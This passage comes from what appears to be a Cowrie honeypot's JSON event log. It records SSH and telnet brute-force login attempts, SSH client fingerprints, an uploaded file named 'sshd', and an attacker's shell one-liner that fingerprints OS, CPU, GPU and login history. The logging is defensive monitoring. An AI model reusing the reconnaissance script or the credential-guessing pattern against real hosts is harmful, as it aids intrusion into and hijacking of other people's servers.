/etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:07:52.390064Z","src_ip":"91.92.40.176","session":"854a962bb0f3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:07:52.392054Z","src_ip":"91.92.40.176","session":"854a962bb0f3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:07:52.394634Z","src_ip":"91.92.40.176","session":"854a962bb0f3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/usr/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /usr/bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:07:52.396278Z","src_ip":"91.92.40.176","session":"854a962bb0f3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"busybox uname -s -v -n -m 2 > /dev/null","message":"CMD: busybox uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:07:52.399050Z","src_ip":"91.92.40.176","session":"854a962bb0f3","protocol":"ssh"}
{"eventid":"cowrie.command.success","input":"uname -s -v -n -m","message":"Command found: uname -s -v -n -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:07:52.401681Z","src_ip":"91.92.40.176","session":"854a962bb0f3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"( [ -f /proc/version ]","message":"CMD: ( [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:07:52.404407Z","src_ip":"91.92.40.176","session":"854a962bb0f3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /proc/version ]","message":"CMD: [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:07:52.407393Z","src_ip":"91.92.40.176","session":"854a962bb0f3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"head -1 /proc/version | cut -d -f1","message":"CMD: head -1 /proc/version | cut -d -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:07:52.410913Z","src_ip":"91.92.40.176","session":"854a962bb0f3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /etc/os-release ]","message":"CMD: [ -f /etc/os-release ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:07:52.414346Z","src_ip":"91.92.40.176","session":"854a962bb0f3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","size":356,"shasum":"4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:07:52.502241Z","src_ip":"91.92.40.176","session":"854a962bb0f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:07:52.585697Z","src_ip":"91.92.40.176","session":"854a962bb0f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":58404,"dst_ip":"159.203.135.109","dst_port":22,"session":"26ab06a2c1b2","protocol":"ssh","message":"New connection: 103.27.238.114:58404 (159.203.135.109:22) [session: 26ab06a2c1b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:08:03.984209Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:08:03.987650Z","src_ip":"103.27.238.114","session":"26ab06a2c1b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:08:04.259584Z","src_ip":"103.27.238.114","session":"26ab06a2c1b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bomba","message":"login attempt [root/bomba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:08:05.078200Z","src_ip":"103.27.238.114","session":"26ab06a2c1b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:08:06.351835Z","src_ip":"103.27.238.114","session":"26ab06a2c1b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":41618,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b70f5a5cea4","protocol":"ssh","message":"New connection: 193.37.70.224:41618 (159.203.135.109:22) [session: 2b70f5a5cea4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:08:09.110599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:08:09.114111Z","src_ip":"193.37.70.224","session":"2b70f5a5cea4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:08:09.199961Z","src_ip":"193.37.70.224","session":"2b70f5a5cea4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"01101980","message":"login attempt [root/01101980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:08:09.457885Z","src_ip":"193.37.70.224","session":"2b70f5a5cea4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.10","src_port":48892,"dst_ip":"10.17.0.5","dst_port":22,"session":"70d67e8b142a","protocol":"ssh","message":"New connection: 91.92.40.10:48892 (10.17.0.5:22) [session: 70d67e8b142a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:08:09.626564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:08:09.729723Z","src_ip":"91.92.40.10","session":"70d67e8b142a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:08:09.744745Z","src_ip":"91.92.40.10","session":"70d67e8b142a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.12.251.137","src_port":52296,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f8140ec069b","protocol":"ssh","message":"New connection: 198.12.251.137:52296 (159.203.135.109:22) [session: 7f8140ec069b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:08:09.794902Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:08:09.798262Z","src_ip":"198.12.251.137","session":"7f8140ec069b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:08:09.866153Z","src_ip":"198.12.251.137","session":"7f8140ec069b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cardano123","message":"login attempt [root/cardano123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:08:10.114977Z","src_ip":"198.12.251.137","session":"7f8140ec069b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:08:10.544980Z","src_ip":"193.37.70.224","session":"2b70f5a5cea4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apache","password":"12345678","message":"login attempt [apache/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:08:10.575210Z","src_ip":"91.92.40.10","session":"70d67e8b142a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":35872,"dst_ip":"159.203.135.109","dst_port":22,"session":"4721fde51b32","protocol":"ssh","message":"New connection: 143.20.185.207:35872 (159.203.135.109:22) [session: 4721fde51b32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:08:11.121792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:08:11.125070Z","src_ip":"143.20.185.207","session":"4721fde51b32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:08:11.184850Z","src_ip":"198.12.251.137","session":"7f8140ec069b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:08:11.237942Z","src_ip":"143.20.185.207","session":"4721fde51b32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"undefined#8VCPU16GBAMD","message":"login attempt [root/undefined#8VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:08:11.579597Z","src_ip":"143.20.185.207","session":"4721fde51b32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:08:11.728050Z","src_ip":"91.92.40.10","session":"70d67e8b142a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:08:12.699323Z","src_ip":"143.20.185.207","session":"4721fde51b32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.68.243.18","src_port":49252,"dst_ip":"10.17.0.5","dst_port":23,"session":"0904a3184384","protocol":"telnet","message":"New connection: 138.68.243.18:49252 (10.17.0.5:23) [session: 0904a3184384]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:08:25.714296Z"}
{"eventid":"cowrie.telnet.option","command":"DO","option_name":"ECHO","option_byte":1,"message":"Telnet DO ECHO","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:08:25.856909Z","src_ip":"138.68.243.18","session":"0904a3184384","protocol":"telnet"}
{"eventid":"cowrie.telnet.option","command":"WONT","option_name":"ECHO","option_byte":1,"message":"Telnet WONT ECHO","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:08:25.933931Z","src_ip":"138.68.243.18","session":"0904a3184384","protocol":"telnet"}
{"eventid":"cowrie.session.file_upload","filename":"sshd","outfile":"var/lib/cowrie/downloads/f01cac66a63b3bfd7409e4bceef30973a813f6ed4e99958313657449b1c7490f","shasum":"f01cac66a63b3bfd7409e4bceef30973a813f6ed4e99958313657449b1c7490f","message":"SFTP Uploaded file \"sshd\" to var/lib/cowrie/downloads/f01cac66a63b3bfd7409e4bceef30973a813f6ed4e99958313657449b1c7490f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:08:52.409379Z","src_ip":"101.96.201.126","session":"5601da1d0824","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"301.4","message":"Connection lost after 301.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:08:52.411865Z","src_ip":"101.96.201.126","session":"5601da1d0824","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":36288,"dst_ip":"10.17.0.5","dst_port":22,"session":"17ba708e6933","protocol":"ssh","message":"New connection: 62.133.62.83:36288 (10.17.0.5:22) [session: 17ba708e6933]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:08:57.020854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:08:57.024955Z","src_ip":"62.133.62.83","session":"17ba708e6933","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:08:57.106898Z","src_ip":"62.133.62.83","session":"17ba708e6933","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"05011984","message":"login attempt [root/05011984] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:08:57.357730Z","src_ip":"62.133.62.83","session":"17ba708e6933","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:08:58.442670Z","src_ip":"62.133.62.83","session":"17ba708e6933","protocol":"ssh"}
